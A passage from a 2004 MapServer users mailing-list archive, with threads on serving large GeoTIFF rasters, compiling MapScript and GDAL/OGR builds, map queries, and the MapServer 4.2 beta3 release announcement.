disk problems with this procedure. Reason is (I guess) that > regions can be extracted from compressed tifs without decompressing the > whole file, so the actual time lost to decompressing the region is > marginal. That is a point I never thought of. Must check. > > I keeping the shapefiles in different resolutions aswell, making my map > > file a pain (number of MAXSCALE-MINSCALE-layers for the same data). I > > will look deeper into the new DATAPATTERN and variable substitution > > mechanisms soon. > > Additionally, I have been thinking about generalizing shapefiles to > different levels with PostGIS. IMO generalizing is one of the > fundamental problems of WebMapping. Absolutely. And in the end that is what causes much work in setting up a nice and fast server. Martin -- --- Martin Weinelt --- kk+w - digital cartography --- Kiel, Germany --- Tel: +49.431.5791165 --- http://www.planiglobe.com From j.l.h.hartmann at uva.nl Mon May 17 08:37:37 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Mon, 17 May 2004 17:37:37 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <200405171728.46669.mweinelt@planiglobe.com> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <200405171652.51021.mweinelt@planiglobe.com> <40A8D5B3.6000803@uva.nl> <200405171728.46669.mweinelt@planiglobe.com> Message-ID: <40A8DC41.7000408@uva.nl> Martin Weinelt wrote: > Sometimes I am facing white stripes (1px) at the margings of the tiles. I > guess I have to tune the tiling in respect to the geocoded extent /pixel size > ot the image > This problem has been mentioned before on this and other lists. I have had it too sometimes, but I am unable to produce a good testcase. I think it is a bug in aligning rasters within MapServer Jan From nhv at cape.com Mon May 17 08:46:42 2004 From: nhv at cape.com (Norman Vine) Date: Mon, 17 May 2004 11:46:42 -0400 Subject: [Mapserver-users] Large Raster files In-Reply-To: <40A8D5B3.6000803@uva.nl> Message-ID: Jan Hartmann writes: > > Martin Weinelt wrote: > > Yes, both preprocessing tasks (projecting and converting RGB to indexed > colors) are almost mandatory for production servers :-) > > Everything is done by GDAL and the utilities. I decided to have tiles about > > the size of the map, without knowing exactly why this would be better then > > 2000px (Jan). > > Nothing holy about the number. It's just that multiplying and dividing > by 2 is so easy with a computer :-). I chose 2000, because a single > request should be as much confined to one tile, but it should not have > to resample the image too much. Most map images are about 500 by 500 > pixels, so there is a good chance that it is completely within one tile. I suggest keeping the base tiles a power of 2 ( i.e. 2048 is close to 2k ) However if you are serving individual maps that you just use one 'overviewed' tiled geotiff image. Of course if you are making seamless maps of large areas then there is always a practical limit on file sizes that are 'easily' handled. Note I use 'base' images of 100's of megabytes routinely and am very happy with response times from overviewed and tiled geotiffs with mapserver > > I also think that compressing the rasters is even contraproductive, because > > 'in memory' there is no compression and you add an extra job (decoding) to > > the application. > > That's what I thought too, but serving compressed TIF files is not much > faster than uncompressed ones, at least in my experience. Some of my > rasters have a very high rate of compression (5 to 20 times), so I would > run into disk problems with this procedure. Reason is (I guess) that > regions can be extracted from compressed tifs without decompressing the > whole file, so the actual time lost to decompressing the region is > marginal. FWIW - I have found that tile based compression is almost always a win as IO and not processor time is usually the bottleneck Is anyone familiar with this application ? http://www.zoomify.com/default.asp Cheers Norman From ed at topozone.com Mon May 17 09:21:55 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 17 May 2004 12:21:55 -0400 Subject: [Mapserver-users] Large Raster files Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4592@mercator.topozone.com> Charlie - Well, I *am* Ed! You've already gotten a lot of good comments, and rather than try to respond to them specifically I'll just offer my own. The first thing I'd consider is the data maintenance aspect. Is this a static library of images that will never change or be updated? If so, then you should feel free to do lots of data modification and pre-processing. If you need to update the data often, however, you should consider how hard it will be to modify and pre-process the updates. It may be wise for you to store your data in a format that closely resembles the originals in order to better manage updates. Seek times on disk drives are much slower than read/data transfer times. When you read a small portion of a large file, you typically have a good bit of sequential reading with very few disk seeks. Reading a small portion of each of several small files may require much less sequential reading but more disk seeks to read several files. Increasing the number of disk seeks required to produce an image will almost certainly erase any benefit from shorter reads. As a result, consider the largest size image you're going to display. If your data is organized in image files that are substantially larger than the output image (2X or more in each dimension) then a reasonable fraction of map-serving requests will only need to read data from one image file. This is a Good Thing. A request at the corner of four images will be slower due to the need to seek to and read each of those four images; if your image tiles are smaller than your output image area, you're going to suffer from the need to read many small files for every request. Remember that a TILEINDEX benefits you to the extent that it permits you to quickly ignore source images that cannot possibly be needed for the output image. If you end up creating a situation in which a substantial fraction of the source images are needed for each output image anyway, you will lose some of the benefits of a TILEINDEX. Beware of compression schemes, and be sure you understand how they work. Compression is very useful when you're able to give up some performance to reduce storage costs, but be sure you need to make that sacrifice. For my largest data set (the USGS DOQQ library - about 18 terabytes) I store the data in uncompressed GeoTIFFs that are absolutely unmodified from their original format. TIFF compression schemes such as PackBits and LZW do not work well on photographic images, so there's no point in using them. Lossy compression techniques (JPEG, MrSID, ECW) are computationally intensive to decode, which is a liability if you're trying to support many simultaneous users; I am also unwilling to suffer any degradation of my imagery - I need to assure my customers that they're getting the original USGS pixels. If you don't need to support many users but rather want to optimize for single-user retrieval, then some of my objections to compression go away. These DOQQs are roughly 6,000 x 7,000 pixels each, and are either 50MB or 150MB depending on whether they're black-and-white images or color infrared. For interactive viewing on TopoZone, map image sizes range from 600 x 400 to 1,200 x 800 pixels, so the vast majority of image requests only hit one source DOQQ file. I could probably chop up each DOQQ into four tiles and get slightly better performance, but the additional maintenance required isn't worth it. That's because I've got over 256,000 of them to keep track of; if you have a few files this might not be bad. As I mentioned, reading sequential data from a single file is about the fastest thing you can do with a disk drive. If your server has a lot of RAM, then this data will be read and cached pretty well even without any work on your part. Keep things simple, and don't presume that complex schemes are inherently faster than the straightforward solution. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: IMD Listuser [mailto:imd_listuser at comcast.net] Sent: Monday, May 17, 2004 7:42 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Large Raster files Hello all I have several large (250MB) images that I would like to serve using mapserver. They are currently Geotiffs, so I would prefer to use them in the same format. Nonetheless I would be happy to hear about the best strategies for serving imagery. In particular, what is the best method for splitting up such an image into the smaller tiles that can be indexed using gdaltindex? TIA Charlie Van Dusen IM Design _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Gengx at AGR.GC.CA Mon May 17 11:46:33 2004 From: Gengx at AGR.GC.CA (Geng, Xiaoyuan) Date: Mon, 17 May 2004 14:46:33 -0400 Subject: [Mapserver-users] Does GDAL/OGR default compilation include Oracle Non-sSpatial Table support? Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C43C3F.4690AF2B Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi =20 I need to use OGR connection to access non-spatial Oracle table using SQL statement. I would like to know that if the GDAL/OGR default compilation includes the Oracle table access already. If not, what is the example to compile GDAL/OGR to include the Oracle(do not have to be Oracle Spatial) support? When do you think that Mapserver can let us connect to a SDE layer and another separate Oracle table for Attribute? =20 Thank you very much! =20 Xiaoyuan Geng ------_=_NextPart_001_01C43C3F.4690AF2B Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi

 

I need to use OGR connection to access non-spatial = Oracle table using SQL statement. I would like to know that if the GDAL/OGR = default compilation includes the Oracle table access already. If not, what is = the example to compile GDAL/OGR to include the Oracle(do not have to be = Oracle Spatial) support? When do you think that Mapserver can let us connect to = a SDE layer and another separate Oracle table for Attribute?

 

Thank you very much!

 

Xiaoyuan Geng

------_=_NextPart_001_01C43C3F.4690AF2B-- From casej at ccom.unh.edu Mon May 17 13:51:03 2004 From: casej at ccom.unh.edu (James Case) Date: Mon, 17 May 2004 16:51:03 -0400 Subject: [Mapserver-users] PHP4 - Is it possible??? Message-ID: <200405172051.i4HKp73O010814@ccom.unh.edu> This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C43C2F.23F0F560 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I am running a Trustix 2.1 Linux server, PHP 4.3.4, MapServer 4.2b1. Can PHP/MapScript be compiled? I have tried all permutations and exhausted all help/readme docs. ./configure -with-php=/usr/include/php Make Breaks at: Php_mapscript.c:12963 Any volunteers? <*{{{>< ><}}}*> <*{{{>< ><}}}*> Jim Case (casej at ccom.unh.edu) Database Administrator Center for Coastal and Ocean Mapping & Joint Hydrographic Center Chase Ocean Engineering Lab University of New Hampshire ------=_NextPart_000_000E_01C43C2F.23F0F560 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I am running a Trustix 2.1 Linux server, PHP 4.3.4, MapServer 4.2b1.

 

Can PHP/MapScript be compiled?  I have tried all permutations and exhausted all help/readme = docs.

 

./configure = –with-php=3D/usr/include/php

Make

 

Breaks at:

Php_mapscript.c:12963

 

Any volunteers?

 

<*{{{><   = ><}}}*>   <*{{{><   ><}}}*>
Jim Case (casej at ccom.unh.edu)
<= o:p>

Database Administrator
Center for Coastal and Ocean Mapping & Joint Hydrographic Center
Chase Ocean Engineering Lab
University of New Hampshire

 

------=_NextPart_000_000E_01C43C2F.23F0F560-- From TMitchell at lignum.com Mon May 17 13:56:28 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 17 May 2004 13:56:28 -0700 Subject: [Mapserver-users] NEED HELP ON INSTALLATION In-Reply-To: Message-ID: Isaac, what operating system are you using? What files did you download for mapserver - where from? mapserver-users-admin at lists.gis.umn.edu wrote on 05/17/2004 04:05:41 AM: > Hello, > Please I am a student in Germany,I am doing my dissertation in > Internet GIS and therfore chose to use the mapserver software for it. > I have tried installing it but not working.Could any one help with a > step by step installation of the software. > I am using apache 2.0.42.I used the information about installation > online but still not working. > Hoping to hear from you. > Isaac > > > > STOP MORE SPAM with the new MSN 8 and get 2 months FREE* > _______________________________________________ Mapserver-users > mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn. > edu/mailman/listinfo/mapserver-users From qoelhex at cttmar.univali.br Mon May 17 16:20:53 2004 From: qoelhex at cttmar.univali.br (qoelheX) Date: Mon, 17 May 2004 20:20:53 -0300 Subject: [Mapserver-users] PHP4 - Is it possible??? In-Reply-To: <200405172051.i4HKp73O010814@ccom.unh.edu> References: <200405172051.i4HKp73O010814@ccom.unh.edu> Message-ID: <40A948D5.2070708@cttmar.univali.br> James Case escreveu: > I am running a Trustix 2.1 Linux server, PHP 4.3.4, MapServer 4.2b1. > > Can PHP/MapScript be compiled? I have tried all permutations and > exhausted all help/readme docs. > > ./configure ?with-php=/usr/include/php > > Make > > Breaks at: > > Php_mapscript.c:12963 > > Any volunteers? > > Can you show more details about the error? by qoelheX From m.meier at spiekermann.de Mon May 17 21:12:25 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Tue, 18 May 2004 06:12:25 +0200 Subject: [Mapserver-users] pointObj method 'draw' In-Reply-To: <6B867188-A80E-11D8-8955-000D9329D732@frii.com> References: <40A747B7.30500@spiekermann.de> <40A761EB.4070207@dmsolutions.ca> <40A83FF6.9010003@spiekermann.de> <6B867188-A80E-11D8-8955-000D9329D732@frii.com> Message-ID: <40A98D29.40704@spiekermann.de> Thank you Sean, for your explanations. Sometimes some background information is necessary to understand why an api does this and not that. > In my opinion, pointObj::draw and shapeObj::draw are > elements of bad design and we shouldn't increase bad design with a > lineObj::draw Can you give me one cue why it is bad design? Thanks Manfred Sean Gillies schrieb: > Manfred, > > Why the difference? > > First, it must be understood that the development of the MapServer software > is primarily driven by advances in the mapserv program, and that the > mapscript module has been developed by wrapping structures and functions > used in mapserv. I don't think that the mapscript module has been through > much design, rather it grows by judicious accretion of features from > mapserv. > > In mapserv, lines are only drawn within the context of layer features or > within the context of a legend, hence there is no drawing of lines only, > only the function that we wrap to use with shapeObj::draw. > Because of the need for annotation, there are functions to draw points > outside of the layer feature context and this is the basis for > pointObj::draw. > > You are right that the mapscript API implies that there may exist a > lineObj::draw, and I agree that such a function could be useful. However, > I am not in favor of extending the general drawing features of mapscript > in the current API. In my opinion, pointObj::draw and shapeObj::draw are > elements of bad design and we shouldn't increase bad design with a > lineObj::draw. > > Hope this explains, cheers, > Sean > > On May 16, 2004, at 10:30 PM, Manfred Meier wrote: > >> Thank you for your answer, Daniel, >> >> I knew that, and I would like to know, why there is this difference. >> But it's not so very important. >> >> Mapserver and mapscript are very helpful for me. I'm trying to display >> the location of busses with information about delays. >> >> Manfred >> > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > From mapserver at meteologica.es Tue May 18 02:56:14 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Tue, 18 May 2004 11:56:14 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <200405171652.51021.mweinelt@planiglobe.com> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <40A8C24F.5070508@uva.nl> <200405171652.51021.mweinelt@planiglobe.com> Message-ID: <200405181156.15016.mapserver@meteologica.es> On Monday 17 May 2004 16:52, Martin Weinelt wrote: > I also think that compressing the rasters is even contraproductive, because > 'in memory' there is no compression and you add an extra job (decoding) to > the application. If your hard disk is slow, or busy, it may be faster to read small jpeg images and decompress it on memory, than read big uncompressed bmps or tiffs. In our case, it is faster to use small 100KB jpegs, than big 1.5MB tiffs. You will need to test to find your optimal configuration. I agree with you that no reprojection should be done on-the-fly. Paco From mweinelt at planiglobe.com Tue May 18 03:30:22 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Tue, 18 May 2004 12:30:22 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <200405181156.15016.mapserver@meteologica.es> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <200405171652.51021.mweinelt@planiglobe.com> <200405181156.15016.mapserver@meteologica.es> Message-ID: <200405181230.22450.mweinelt@planiglobe.com> On Tuesday 18 May 2004 11:56, Paco Regodon wrote: > On Monday 17 May 2004 16:52, Martin Weinelt wrote: > > I also think that compressing the rasters is even contraproductive, > > because 'in memory' there is no compression and you add an extra job > > (decoding) to the application. > > If your hard disk is slow, or busy, it may be faster to read small jpeg > images and decompress it on memory, than read big uncompressed bmps or > tiffs. > > In our case, it is faster to use small 100KB jpegs, than big 1.5MB tiffs. > > You will need to test to find your optimal configuration. > > I agree with you that no reprojection should be done on-the-fly. I always forgot hard disk access as a factor in raster processing time, but - and Ed made the same point - it seems very much worth to consider. BTW, with this thread I revisited Frank's 'raster-howto' in the documention section of the mapserver website. Most of what I mentioned has been documented there ('Raster Display Performance Tips') for a long time. I guess that's were I started from ... Martin From phatsbbnlist at twcny.rr.com Tue May 18 03:53:41 2004 From: phatsbbnlist at twcny.rr.com (mapguy) Date: Tue, 18 May 2004 06:53:41 -0400 Subject: [Mapserver-users] Large Raster files References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <40A8C24F.5070508@uva.nl> <200405171652.51021.mweinelt@planiglobe.com> <200405181156.15016.mapserver@meteologica.es> Message-ID: <40A9EB35.8040100@twcny.rr.com> I have a question regarding the relationship between PROJECTION and EXTENT for the display of layers in the mapfile (mapserve src 4.02 and the new 4.2beta) I have managed to get a custom region working using the mapderve cgi tutorial files as a start. I have successfully displayed and tiled natural color ortho tiffs in EPSG:32115 (NY East state plane), and I have succeeded with a UTM location that displays shape files in EPSG:26918 (UTM 18N NAD83 GRS80). I have downloaded 302 world-file-referenced tiffs with the 1:24000 scale topo info for NYS. These are in EPSG:26918 (UTM 18NnAD83 GRS80) and the extents, coordinate system and mapping have been verified in my GIS program (grass 5.03). These files will not display, neither as single maps nor as a tiled map, even though the shapefile for the TILEINDEX (with the exact same coord parameters) displays just fine (I even got a county line shapefile map in latlong coordinates to plot properly on the UTM basemap). No errors in the logs. I used .tfw and .wld and internal GeoTiff (gdal_translated) files all with the same null result. I have searched and read the posts on related problems, and it seems I have considered al the possibilities listed. I tried a gdalwarp into state plane (tiff output) coordinates to see if I could "TRANSFORM" it onto the base EPSG:26918 map, but failed to get anything more than the blank map frame. Is there something about UTM and EPSG I am missing, at least as they concern mapserver? From christian.lindner at uni-dortmund.de Tue May 18 04:35:50 2004 From: christian.lindner at uni-dortmund.de (Christian Lindner) Date: Tue, 18 May 2004 13:35:50 +0200 Subject: [Mapserver-users] Querying query-results Message-ID: <001b01c43ccc$45111980$fcbfd981@gispc16> This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C43CDD.0899E980 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I am a MapServer newbie. I am looking for a solution for the task described below but looking at the MapServer CGI reference and the MapFile reference did not help me solving this so far. So if someone could point me to the right way (or almost one of the right ways (assuming that there are multiple)) that would save me from going crazy ;-). I am using MapServer 4.0.1. as CGI. My data is contained in shapefiles and dbase tables. I want to display a map based on a query. Means that I want to display a map showing all regions of one of the several countries contained in my layer in full detail thus enabling the user to choose his region of interest. So the map to be shown should only display the results of a query based on a country variable given by another application. The map displayed should make use of the whole image space (so I set the MAPEXT to 'shape' ?!?). I already managed to display appropriate maps using MODE=itemnquerymap QSTRING... and QITEM... but this only returns an image to the browser instead of embedding it into a template file which would enable the user to do the second query (country selection by the user itself). So my question is, how could I manage to display a map based on a query for usage for further queries? However, I hope this was somewhat understandable ;-). Thanks for your help. -Chris ------=_NextPart_000_001C_01C43CDD.0899E980 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Nachricht
Hello,
 
I am a = MapServer=20 newbie. I am looking for a solution for the task described below but = looking at=20 the MapServer CGI reference and the MapFile reference did not help me = solving=20 this so far. So if someone could point me to the right way (or almost = one of the=20 right ways (assuming that there are multiple)) that would save me from=20 going crazy ;-). I am using MapServer 4.0.1. as CGI. My data is = contained=20 in shapefiles and dbase tables.
 
I want = to display a=20 map based on a query. Means that I want to display a map showing all = regions of=20 one of the several countries contained in my layer in full detail thus = enabling=20 the user to choose his region of interest. So the map to be shown should = only=20 display the results of a query based on a country variable given by = another=20 application. The map displayed should make use of the whole image space = (so I=20 set the MAPEXT to 'shape' ?!?). I already managed to display = appropriate=20 maps using MODE=3Ditemnquerymap QSTRING... and QITEM... but this=20 only returns an image to the browser instead of embedding it = into a=20 template file which would enable the user to do the second query = (country=20 selection by the user itself).
 
So my = question is,=20 how could I manage to display a map based on a query for usage = for further=20 queries?
However, I hope this=20 was somewhat understandable ;-).
 
Thanks = for your=20 help.
-Chris
------=_NextPart_000_001C_01C43CDD.0899E980-- From pierre.giraud3 at free.fr Tue May 18 05:46:48 2004 From: pierre.giraud3 at free.fr (GIRAUD Pierre) Date: Tue, 18 May 2004 14:46:48 +0200 Subject: [Mapserver-users] where is the latest flash doc? References: <024c01c43b0e$37023910$4271fea9@gisedu> Message-ID: <40AA05B8.5010708@free.fr> I first didn't understand you were meaning. Then searching trough the list to find 3DMULTIPLE, I identified the problem. Depending on the encoding format of the messages on the list, some "=" are hopless replaced by "=3D" and messed you up. I mean there is no 3DMULTIPLE format at all. Pierre Liangxu Wang a ?crit: >hi,all > I has read the doc about flash,but from the mail list I has found somen new information,ie., >OUTPUT_MOVIE=3DMULTIPLE >Is there a latest flash doc except http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html ? > >thank you. >gisworld > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From rriley at rolandoriley.com Tue May 18 06:12:13 2004 From: rriley at rolandoriley.com (Rolando Riley) Date: Tue, 18 May 2004 08:12:13 -0500 Subject: [Mapserver-users] Compile Mapserver 4.0.1 - gdal-1.1.9 Message-ID: Hello Guys: I have been following your directions to compile mapserver with support to OGR. Each time I try to do it I get this error. What is wrong? ----------- # ./configure --with-httpd=/usr/sbin/httpd --with-gdal=/usr/local/bin/gdal-con fig --with-proj=/usr/ --with-tiff=/usr --with-ogr=/home/rriley/gdal-1.1.9/og r/ --with-wfs --with-wfsclient # make gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU SE_WMS_SVR -DUSE_WFS_SVR -DUSE_WFS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DU SE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -I/usr/inclu de -I/usr//include -I/usr/include -I/home/rriley/gdal-1.1.9/ogr//ogrsf_frm ts - I/home/rriley/gdal-1.1.9/ogr/ -I/home/rriley/gdal-1.1.9/ogr//../port -I/usr/ loca l/include shp2img.o -L. -lmap -lgd -L/usr/lib -lgd -ljpeg -lfreetype -lpng -lz -L/usr/lib -ltiff -ljpeg -lfreetype -lpng -lz -L/usr//lib -lproj - ljpe g -L/usr/local/lib -lgdal.1.1 -L/usr/lib -lcurl -lssl -lcrypto -ldl -ls sl - lcrypto -ldl -lz -lm /home/rriley/gdal-1.1.9/ogr//ogrsf_frmts/ogrsf_frmts.a /home/rriley/gdal-1.1.9/ogr//ogr.a /home/rriley/gdal-1.1.9/ogr//../port/cpl.a -o shp2img ./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj *)': mapogr.o(.text+0x1b3): undefined reference to `OGRPolygon::getNumInteriorRings(v oid) const' mapogr.o(.text+0x20f): undefined reference to `OGRGeometryCollection::getNumGeom etries(void) const' mapogr.o(.text+0x3fa): undefined reference to `OGRPolygon::getNumInteriorRings(v oid) const' ./libmap.a(mapogr.o): In function `ogrGeomLine(OGRGeometry *, shapeObj *, int)': mapogr.o(.text+0x52d): undefined reference to `OGRPolygon::getNumInteriorRings(v oid) const' mapogr.o(.text+0x5c3): undefined reference to `OGRGeometryCollection::getNumGeom etries(void) const' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 -------------------- thanks R. Riley From dmorissette at dmsolutions.ca Tue May 18 06:21:11 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 18 May 2004 09:21:11 -0400 Subject: [Mapserver-users] MapServer 4.2 beta3 Message-ID: <40AA0DC7.1020808@dmsolutions.ca> MapServer 4.2 beta3 has been posted to the download page of the website. The list of fixes in this new beta is at the end of this message. For Windows users, a new build is available at http://maptools.org/dl/mapserver-4.2b3-win32-php4.3.4.zip And for those using MS4W (http://maptools.org/ms4w/), an update package for MS4W is available at http://maptools.org/dl/mapserver_ms4w-4.2b3-20040517.zip Once again, we invite you to test this new beta and report any critical issue... and we hope (again!) that this could be the last beta before the release. Daniel ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ Version 4.2-beta3 (2004-05-14) ------------------------------ - Fixed another write past end of buffer in INIMAGE WMS errors (bug 644) - Removed "xbasewohoo" debug output when using JOINs and fixed a few error messages related to MySQL joins (bug 652) - No more Python-stopping but otherwise benign errors raised from msDrawWMSLayer() (bug 650). - Finished prototyping all MapServer functions used by SWIG-Mapscript and added 'void' to prototypes of no-arg functions, eliminating all but two SWIG-Mapscript build warnings (bug 658). - Fixed mapwcs.c so that gdal.h and cpl_error.h are not included if USE_WCS_SVR is not enabled ... which is never is in 4.2. - msBuildPath() no longer used with temporary filenames when saving images via GDAL. - Bug 493: fix the raster cracking fix. The last fix introduced a serious heap corruption / errant pointer problem in some render cases. - Resolved issue with pens and dynamically drawing points (bug 663). - Removed unused metadata gml_uri in WFS code (Bug 527) From dmorissette at dmsolutions.ca Tue May 18 06:30:25 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 18 May 2004 09:30:25 -0400 Subject: [Mapserver-users] Compile Mapserver 4.0.1 - gdal-1.1.9 In-Reply-To: References: Message-ID: <40AA0FF1.9070600@dmsolutions.ca> Rolando Riley wrote: > Hello Guys: > I have been following your directions to compile mapserver with support > to OGR. Each time I try to do it I get this error. What is wrong? > > > ----------- > # > ./configure --with-httpd=/usr/sbin/httpd --with-gdal=/usr/local/bin/gdal-con > fig --with-proj=/usr/ --with-tiff=/usr --with-ogr=/home/rriley/gdal-1.1.9/og > r/ --with-wfs --with-wfsclient > > The problem may be related to your attempt to use of two different versions of GDAL in your build: --with-gdal=/usr/local/bin/gdal-config --with-ogr=/home/rriley/gdal-1.1.9/ogr/ Since OGR is part of GDAL, you need to point both to the same location, or specify the location in only one of the two options and the other one will follow, e.g. --with-gdal=/usr/local/bin/gdal-config --with-ogr Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Tom.Kralidis at ec.gc.ca Tue May 18 06:58:04 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 18 May 2004 09:58:04 -0400 Subject: [Mapserver-users] MapServer 4.2 beta3 Message-ID: <2576812186CDD411BF1500508B6DCE9507366DA3@ECNWRI1.ontario.int.ec.gc.ca> > -----Original Message----- > From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] > Sent: Tuesday, May 18, 2004 9:21 AM > To: mapserver-users > Subject: [Mapserver-users] MapServer 4.2 beta3 > > > MapServer 4.2 beta3 has been posted to the download page of > the website. > The list of fixes in this new beta is at the end of this message. > > For Windows users, a new build is available at > http://maptools.org/dl/mapserver-4.2b3-win32-php4.3.4.zip > Mapserv is looking for xerces-c_1_7_0.dll, which doesn't exist in above zipfile. > And for those using MS4W (http://maptools.org/ms4w/), an > update package > for MS4W is available at > http://maptools.org/dl/mapserver_ms4w-4.2b3-20040517.zip > This URL gives me a 404. > Once again, we invite you to test this new beta and report > any critical > issue... and we hope (again!) that this could be the last beta before > the release. > > Daniel > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > > Version 4.2-beta3 (2004-05-14) > ------------------------------ > > - Fixed another write past end of buffer in INIMAGE WMS > errors (bug 644) > > - Removed "xbasewohoo" debug output when using JOINs and fixed a few > error messages related to MySQL joins (bug 652) > > - No more Python-stopping but otherwise benign errors raised from > msDrawWMSLayer() (bug 650). > > - Finished prototyping all MapServer functions used by SWIG-Mapscript > and added 'void' to prototypes of no-arg functions, eliminating all > but two SWIG-Mapscript build warnings (bug 658). > > - Fixed mapwcs.c so that gdal.h and cpl_error.h are not included if > USE_WCS_SVR is not enabled ... which is never is in 4.2. > > - msBuildPath() no longer used with temporary filenames when > saving images > via GDAL. > > - Bug 493: fix the raster cracking fix. The last fix > introduced a serious > heap corruption / errant pointer problem in some render cases. > > - Resolved issue with pens and dynamically drawing points (bug 663). > > - Removed unused metadata gml_uri in WFS code (Bug 527) > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From rsanabria at prosis.com Tue May 18 07:05:06 2004 From: rsanabria at prosis.com (=?ISO-8859-1?Q?Ricardo_Sanabria_Mart=EDnez?=) Date: Tue, 18 May 2004 09:05:06 -0500 Subject: [Mapserver-users] Sde binary for windows Message-ID: <40AA1812.6070308@prosis.com> Please, I need a sde binary for windows 2000 or XP. Thanks -- Ricardo Sanabria Mart?nez Ingeniero de Soporte SIG PROCALCULO PROSIS Tel 6357272 Fax 6357260 From eduardo at consultoria.eti.br Tue May 18 07:09:59 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 18 May 2004 11:09:59 -0300 Subject: [Mapserver-users] shapfiles 2 MS-SQL Server In-Reply-To: <1084777591.40a864770c265@mail.ebdesksolutions.com> References: <1084777591.40a864770c265@mail.ebdesksolutions.com> Message-ID: <20040518140959.12791.qmail@hm47.locaweb.com.br> I think the only way to connect MapServer with MSSQL will be using ArcSDE. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Mon, 17 May 2004 14:06:31 +0700, taufan at ebdesksolutions.com escreveu: > De: taufan at ebdesksolutions.com > Data: Mon, 17 May 2004 14:06:31 +0700 > Para: Eduardo Patto Kanegae > Assunto: Re: [Mapserver-users] shapfiles 2 MS-SQL Server > > Thank's for your explanation.But i'm still confuse,where I must write the > connection, in .map as connection type & Connection or in html? > > Sorry I'm new in mapserver.Is there different way if i want connect to mssql and > to postGIS? Could you explain to me (maybe with some sample) tecnically the way > to do that (MSSQL-Map Server)?? > > > Thank you. > > Emanuel Taufan > . > > > From dmorissette at dmsolutions.ca Tue May 18 07:28:21 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 18 May 2004 10:28:21 -0400 Subject: [Mapserver-users] MapServer 4.2 beta3 In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366DA3@ECNWRI1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366DA3@ECNWRI1.ontario.int.ec.gc.ca> Message-ID: <40AA1D85.3040004@dmsolutions.ca> Kralidis,Tom [Burlington] wrote: > > > Mapserv is looking for xerces-c_1_7_0.dll, which doesn't exist in above > zipfile. > Um... I thought we had fixed that one. We'll check that. > >>And for those using MS4W (http://maptools.org/ms4w/), an >>update package >>for MS4W is available at >>http://maptools.org/dl/mapserver_ms4w-4.2b3-20040517.zip >> > > > This URL gives me a 404. > Duh! The correct URL is http://maptools.org/dl/ms4w/mapserver_ms4w-4.2b3-20040517.zip It may suffer from the same problem as above though. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Tom.Kralidis at ec.gc.ca Tue May 18 07:34:45 2004 From: Tom.Kralidis at ec.gc.ca 